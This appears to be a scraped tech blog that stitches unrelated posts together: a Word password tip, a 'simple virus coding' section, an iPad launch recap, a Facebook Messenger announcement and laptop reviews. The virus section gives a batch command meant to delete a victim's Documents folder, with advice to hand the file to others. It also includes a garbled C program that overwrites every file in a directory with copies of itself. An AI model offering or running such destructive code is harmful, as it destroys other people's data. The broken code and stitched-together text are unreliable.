How to set a password for a word document

                             First create the word document. Before saving that document, do the following things.

1.File-> Info-> Protect Document -> Encrypt with password

Then give the password , it will ask to reenter the password.

Then save this document wherever you want to save. Then close it.

If you want to open that word document now, it will ask password.

With the correct password only, we can see the document.

In the next post, i'll say how to hack the document which is protected by password. So wait for next post.

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Multi Google talk Login without any software

Simple virus coding

Run this on your own responsibility*/

VIRUS CODE-1

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO

OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.

Code Is Below
rmdir C:\Documents and Settings \S\Q.

Run this on your own responsibility*/

VIRUS CODE-2

/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......

#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

New Ipad Released

Today was the day folks, Apple releases “The new iPad” along with a few other surprises and TechNetec has all the details for you stay tuned after the break for more details.

These press releases are are like Christmas to me as a writer I was tuned into the live blogs the entire time as Tim Cook and friends released “The new iPad.” So let’s throw out some of the more crazy rumors that surrounded the iPad prior to release, for example the iPad does still have a home button and yes the iPad does still have the same 30 pin dock connector. Apple though started the press release with iTunes and the Cloud. Apple has now integrated movies with cloud so you can easily re-download movies that you own. Apple has also now integrated full 1080p support for movies (took them long enough) which means you’ll really be able to enjoy those movies on your new Apple TV. That’s right the Apple TV is getting a refresh and it allows for full 1080p support, easier to use UI, and iTunes playlist’s from the iClould. A very cool refresh on a device that has needed it and it’s your for $99.

Apple then went on to say how great the world is thanks to the iPad but still didn’t reveal it just yet they first focused on the release of iOS 5.1. First lets warn you DO NOT UPGRADE IF YOU WANT TO JAILBREAK. But there is more Siri support for more languages including, Japanese, German, French, and new accents like an Aussie accent shown off today at the release.

Tim Cook then went on to say how the iPad changed the market and how it destroys other tablets on the market, including the Galaxy Tab. Cook asked “Who will come out with a product that’s more amazing than the iPad 2?” He then answered his question by saying Apple of course! There was then a demo of the new iPad and everything it was made for. Retina display was the first thing show off, the new iPad has amazing 2048 x 1536 resolution which blew my mind when I read it the first time. Everything looks amazing when you zoom and you get to see so much detail, it will blow your mind. With 264ppi this is an amazing looking display. The next feature is the A5X processor, with the cool new name, the processor supports quad-core graphics and, according to Apple, it’s twice as fast as the Tegra 3 with four times the performance. The next feature is the new “iSight” camera 5 megapixels in the back with an illuminated sensor, 5-element-lens, IR filter, and ISP built into the A5X chip. So a very similar set up to the iPhone 4S with 1080p video recording to go with it, which means we’ll have to stop laughing at those who walk around and shoot with their iPad. The next feature is voice dictation, which might I add is NOT Siri. It’s just dictation when your typing and supports British, Australian, French, German and Japanese. The 5th feature is 4G LTE!! Which you might have guessed is the one I’m excited about. With this iPad running 4G LTE, on Verizon and AT&T, you get an amazing 73Mbps download speed. The reason I’m excited about this is that this most likely means that the next iPhone will also support 4G LTE and you know I’m gonna get me some of that. Verizon, Rogers, Bell, Telus and AT&T will be the LTE partners. Along with this the iPad can now be a personal hotspot, if the carrier supports it. With all of this most people expected the battery life to go down drastically, but Apple has pulled it off once again you get a full 10 hours on 3G and 9 hours on 4G. All for $499 for 16GB, $599 32GB, $699 64GB, but for 4G LTE your gonna have to pop a little extra it’s $629, $729 and $829, for the respective GB sizes. Apple then showed off some new apps being used on the iPad 3 including “Sky Gamblers” by Namco which showed off the great graphics in a Act Combat type game. “Sketchbook Ink” by Autodesk which allows for fantastic drawing on the new iPad 3 resolution that allows for fantastic up close drawing on a tablet like never before. The last app shown off was “Infinity Blade” by Epic Games which looked amazing in retina display, this could revolutionize games according to Apple.

Apple also updated their plethora of apps with all the iWork apps looking great in retina display and Garageband getting “smart string” technology, and iMovie with new editing technique that makes these apps much better on the new iPad. A new app came out of Apple to called iPhoto which allows for photo editing, journals, brushes, and photo beaming, really a great addition to the new iPad, avaliable now for $4.99. Apple then wrapped things up and talked about how amazing the new iPad really is. I know I’m excited for it and hope everyone reading this it to. By the way! The reason I never said the iPad 2S or the iPad 3 is because Apple never announced a clear name, it’s really just “The new iPad” which is weird and different of Apple, but I guess it’s just not all about the name right? I will refer to it as the iPad 3 personally but Apple just says it’s “The new iPad.”

Hope you guys enjoy the new iPad!

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Facebook Messenger For Windows Released – Download Now!

Personally speaking, I am not a big Facebook fan, but there are millions upon millions of people all over the globe who can’t go a day without logging into the world’s largest social network and checking out what kind of sandwich their old school friend had for lunch, or poking their best friend in an act of online bullying. Although already wildly popular, the wholeFacebook experience may be a distinctly better one for a large portion of users if they didn’t need to be constantly signed into the web service with a browser running all the time.

In a technology driven world that is being overrun by all kinds of apps on various platforms, it seems that the Facebook team has cottoned on to the fact that user engagement might increase if they could use some of the more core Facebook services from within a dedicated desktop client. With that in mind, we are officially seeing the launch of Facebook Messenger for Windows Desktop Chat Client, although a number of you might already be using the client due to its leak back in December. Some of you may remember in December when an Israel-based blogger was given access to the Facebook Chat test group and trusted with an unprotected link to download the software. Rightly or wrongly, he quickly made the link public, given early access to the software to anyone who wanted it.

Download Facebook Messenger

9 Hot Laptops ReviewedA

Acer Aspire 5830TG

Price: Rs 44,004 Pros: USB charging, Battery life, Storage Space Cons: Bulky, low resolution

Acer Timeline X series 5830TG is the advanced version of Acer 5830T. The laptop is powered by second generation Intel Coreprocessor with 2.30GHz CPU speed. It scores 6826 in PC Mark which is a good score in this category laptops. It has both on board Intel HD graphics and NVIDIA GeForce GT 540M graphics card which help it score. 8723 in 3D Mark 06, which is the best score amongst all the laptops under 55k. The laptop has a HD Widescreen CineCrystal LED-backlit display that gives a resolution of up to 1366×768 pixels. There is a USB power-off charging facility by which you can charge your mobile device through a USB 3.0 port even when your system is turned off which means you can go anywhere without even bothering about your phone charger. It has 1.3MP webcam and good sound quality so you can enjoy doing conference here and also play games or videos. This notebook has a full scape keyboard with a separate numeric pad, which is a relief. The real good part about the notebook is that it is pretty sleek at just about under an inch. The battery backup is just over 3 hours which is the best among all the laptops we tested. There were no heating issues in the laptop as the cooling vents are provided on the side.

Bottomline: The touch and feel, looks and battery backup are the high points. Suited for both work and running high end multimedia applications over it.

Price: Rs 44,000 Pros: USB 3.0, light weight, backlit keyboard Cons: No internal optical drive

Dell Vostro V131

Dell Vostro is a business laptop aimed at helping professionals with smooth typing and easy connectivity via its multiple ports. Though a little heavy for a laptop which claims to be slim, it stands out with its matte finish and is suitable for presentations and conference rooms. V131 impresses with a full backlit keyboard featuring easily distinguishable big keys with wide resting space underneath the keyboard for fast and easy typing. Alongside the keyboard are shortcut buttons for windows mobility centre, Dell support centre and Dell instant launch manager. The device comes with numerous ports and a cooling vent on the left side. Two speakers gracing the front yield a striking sound quality. The ports on the sides include USB power share slot to charge USB devices when the laptop is in sleep mode. This consists of a VGA slot, Ethernet port, two USB 3.0 ports, mic, SD card reader and a HDMI port. The display resolution of 1366x768 isn't much and the display is a bit dull, but that's common across most business oriented laptops. It boasts of 2GB RAM, Intel i3 processor, 500GB HDD and performs well in benchmarks. In PC Mark Vantage, it scores 5081 and in 3D Mark06, 3350 which is a decent score for a business laptop.

Bottomline: A decent netbook with all the required features of a business laptop.

Price: Rs 66,900 Pros: Backlit Keyboard, mini HDMI, good storage capacity. Cons: No USB 3.0, a bit expensive

Dell XPS 14z

The XPS 14z is one of the most good looking and thinnest laptops we've reviewed this time. Having a fingerprint resistant matte finish, the laptop boasts of a 14-inch screen offering full HD display at 1366x768p resolution. It comes with Intel Core i5-2430M Processor, NVIDIA GForce GT graphics featuring 4 GB RAM, and an ample 750 GB of HDD space. For connectivity the laptop has a memory card reader, DVD drive, DisplayPort, HDMI, two USB ports and a LAN jack. Sadly, there's no USB 3.0, which is a drawback. The laptop also features Bluetooth 3.0 and Wi-Fi. Priced highest among all categories, Dell XPS 14z, with impressive specs, didn't disappoint us on performance front. In PC Mark, it scored 7113, which is better than any other Dell XPS notebook we've reviewed. In 3DMark 06, it scored an impressive 5355, making it great for graphics and gaming. It stood the torment of our battery backup benchmark for just over 2 hours, which is an average score for a laptop.

Bottomline: Overall a great laptop, given its impressive configuration and performance.

Lenovo Ideapad Z570

Price: Rs 38,990 Pros:Good performer, low price, storage capacity Cons: Low battery life

At 39k, the 2.5 kg Ideapad Z570 from Lenovo features a vibrant 15.6-inch LED backlit widescreen display that supports 1366 x 768 pixel resolution. With second-generation Intel Core i3 processor 2310M (2.1 GHz), 3 GB DDR3 RAM, the laptop scores 5455 in PC Mark Vantage which is the best score in this category. And with NVIDIA GeForce GT520M graphics with 1GB memory, it scores 5180 which is better than even Dell Vostro V131, HCL Me Icon M1034 and Lenovo Thinkpad E420s. It includes 750 GB hard drive and Windows 7 Home Basic. An interesting thing about this laptop is a switch that let's you toggle between the high performance NVIDIA graphics and Intel HD 3000 graphics. This is great when you're on the road and running on battery. Like the Acer 5830TG, this laptop also features a full keyboard with a separate numeric keypad. The battery backup was recorded just under 2 hours under normal usage conditions which is the lowest amongst all. It has a Lenovo Enhanced Experience 2.0 feature to boot and shutdown quicker .

Bottomline: If you are comfortable with the battery life then, given the price and innovative features like power saving hybrid graphics, the laptop's a great buy.

Price: Rs 34,490 Pros: Good Battery life, low cost Cons: Weak Graphics

Samsung RV511

At around 34k, this is one of the cheaper laptops, costing slightly higher than the cheapest laptop we received this time, the Lenovo Ideapad Z370. The silver plastic colored RV511 weighs 2.5 kg, which is average and has a 15.6-inch screen that supports 1366 x 768 resolution. The laptop is powered by first generation Intel Core i3-M 380 CPU, has 500 GB HDD and 3 GB RAM. The user gets a fullscape island-style keyboard that's comfortable to use, and a large and smooth touchpad to use with separate keys for mouse clicks. The notebook's performance is average as compared to others in this category except for its battery backup -- 2 hours 46 minutes -- which is more than decent for a 6-cell battery, and the best in this category. Its 3DMark score is pretty low, which could be attributed to the absence of dedicated onboard graphics. Its Windows experience index also stood at just 4.3.

Bottomline: Go for this laptop if you're looking only for doing basic productivity work on the move, and require decent battery life.

Price: Rs 39,435 Pros: Lots of Connectivity options Cons: None

HCL Me Icon L 1024

The laptop is powered by 2nd generation 2.40 GHz Intel Core i5-2430M processor, with 500 GB hard drive and a 4 GB RAM. The 14” laptop runs on Windows 7 Professional Operating System. The laptop scores 5171 in PC Mark Vantage which is an average score and with its Intel HD graphics family it scores 3681 which is again a decent score for this category of laptops. From the connectivity point of view it has ports such as USB 2.0, USB 3.0, VGA, HDMI, a card reader slot, DVD RW and Ethernet and Bluetooth and Wi-Fi for wireless connectivity. The keys are large and well placed, plus it has a multi-gesture touch pad with separate mouse keys. It offers a 2 hr battery backup which is average when compared to other laptops in this category. The laptop has almost all important features that are present in the 44k HCL Me ICOM M 1034 model.

Bottomline: Given the price, HCL ME is a decently priced notebook.

HP Pavilion dm4

Price: Rs 51,990 Pros: Appealing Design, Strong performer, 6GB RAM Cons: No USB 3.0, short arrow keys

HP has given its popular Pavilion dm4 the Beats treatment, painting the entire chassis black and giving the keyboard a menacingly cool red backlight. But good looks aren't the only reason to pick up this unique laptop. The laptop weights 2 Kg which is good when compared to all other laptops we have reviewed. With Intel i5 processor and 6GB RAM the laptop scored 6923 in PC Mark Vantage which is the best score in a 40k-55k category laptop. It has a storage capacity of 650 GB which is good enough to keep your documents and multimedia files and 6 GB RAM which enhances its performance. The keyboard is backlit and keys are nicely placed and large enough for typing except the up-down arrow keys. It has a dedicated key to launch the web browser. The laptop has USB 2.0, HDMI, VGA, Ethernet port and DVD RW for connecting external devices but it lacks USB 3.0 which is a drawback. For enjoying multimedia files it has integrated Intel HD graphics and Radeon HD 7470M graphics which on 3D Mark 06 benchmark scores 5610 which is an average score to have. The laptop gives 2 hrs 28 minutes battery back-up which is better than Dell XPS 14z and HCL Me models we reviewed.

Bottomline: Overall a great performer, a good choice for consumers looking for a stylish and portable notebook.

Price:Rs 55,200 Pros: Light weight Cons: No USB 3.0, Low storage capacity

Lenovo Thinkpad Edge E420s

The Thinkpad Edge E420s launched in last year from Lenovo, specifically targeted at SMBs. The 14-inch laptop has a moss green matt finish, which not only looks elegant and stylish, but is also resistive to scratches and fingerprint smudges. The curved ends of the laptop also help improve its durability and maintainability. Hardware specs include a second generation Intel Core i5-2410M at 2.3 GHz, 320 GB HDD and 4 GB RAM. The laptop weighs a mere 1.88 kgs, making it a great companion when you're on the move. The laptop's touchpad is big and smooth, but the mouse keys are placed above the touchpad only. These are convenient to use with the trackpoint, but become a bit of a nag when you're working on the touchpad. Benchmark scores aren't the highest as compared to others in this category, but decent nevertheless. Battery backup is average at an hour and 56 minutes of full usage. At 55k, this is the cheapest laptop in this category.

Bottomline: A great buy but for the placement of touchpad keys. The backlit keyboard and weight make it a great companion for road warriors.

Price: Rs 65,912 Pros: Good Performer, Good battery life Cons: High Price

Dell Vostro V3350

This is another laptop that has been designed especially for SMBs, and also comes with an impressive configuration. This nifty and sleek laptop boasts of a 13.3-inch HD display, and weighs just over 2 kgs. It's powered by a second generation Intel Core i7-2620M processor, 500 GB HDD and 4 GB RAM. The processor comes with Microsoft Windows 7 Professional edition. Amongst the many high points of the laptop is its 8-cell battery which is placed in a way that it elevates the laptop from the screen, making it comfortable to use. Plus of course, it gave 2 hours 40 minutes of backup, which is one of the best scores we got. The laptop's keyboard is well placed and a breeze to use. Its touchpad is smooth and has separate keys for mouse clicks which eliminates any dead spots.

Bottomline: Good specs, performance and battery backup along with onsite warranty make this laptop a good choice for SMEs.

Dell inspiron one 2320

Online Price Rs.38,610

• Design
• Tech Specs
• Customer Ratings

Processor

• Intel(R) Pentium(TM) processor G630 (2.70GHz)
• 2nd Generation Intel(R) Core(TM) i3-2120 Processor (3.3GHz, 3MB Cache)
• 2nd Generation Intel® Core™ i5-2400S processor(6MB Cache, 2.50GHz)
• 2nd Generation Intel® Core™ I7-2600S Processor (2.8GHz)

Operating System

• Genuine Windows(R) 7 Home Basic SP1 64 bit (English)
• Genuine Windows(R) 7 Home Premium SP1 64 bit (English) w/MUI

Memory⁴

• • Up to 2GB³ DDR3 SDRAM at 1333Mhz - 1 DIMMS

Hard Drive

• Up to 1000GB⁴ SATA hard drive (7200RPM)

Optical Drive

• 1. 8X CD/DVD burner (DVD+/-RW), write to CD/DVD
  2."Optional" Blu-ray Combo Drive (BD-R, DVD+/-RW), Write to CD/DVD

Video Card

• Intel® HD Graphics (UMA)
• Intel® Graphics HD 2000 (integrated, GT1) (UMA)
• 1GB NVIDIA Geforce GT 525M (N12P-GE) (GPU)

Sound Card

• Integrated HD Audio w/SRS
  
  JBL Speakers - 
  Power: 5W average per channel - 10W total; 
  Peak power up to 10W per channel - 20W total.
  Frequency Response: 100Hz-20kHz
  
  

Communications

• Integrated Gigabit Ethernet (10/100/1000)
  802.11b/g mini-Card & antenna

Ports

• Ports Available depend on the configuration selected.
  
  Rear IO Ports
  (4) USB 2.0, 10/100/1000
  Audio Line out
  VGA, Power Port
  HDMI (Optional)
  SPDIF (7.1 ch) (Optional)
  Internal TV Tuner (Optional)
  (1) Antenna
  (1) IR Blaster
  (1) B-CAS (for Japan Only)
  
  Side IO Ports
  (2) USB 2.0, Front Audio Microphone/headphone
  Power Button
  Volume Buttons (Optional)
  Brightness Buttons
  HDD Led
  Media Card Reader 8:1 including: SDXC (SD3.0)
  Secure Digital (SD)
  Multi Media Card (MMC)
  Memory Stick (MS)
  Memory Stick PRO 
  xD Picture Card
  Hi Speed SD
  Hi Capacity SD

Chassis

• 150W Power Adapter
  
  Form Factor 
  All-in-One Desktop Computer
  
  Dimensions.
  Width: 567mm (22.32)
  Height 397mm (15.6)
  Depth 68mm (2.67) Touch and 66.5mm non touch
  
  Weight 
  
  Touch: 9.35 kg (20.6 lb)
  Non-Touch: 8.65 kg (19 lb)
  
  
  Screen Size: 
  58.4cm (23) with 1920 x 1080 (Full HD) resolution standard (Multi-Touch screen)
  
  Display:
  1.0 M (1280x720) HD web cam

All-In-One Design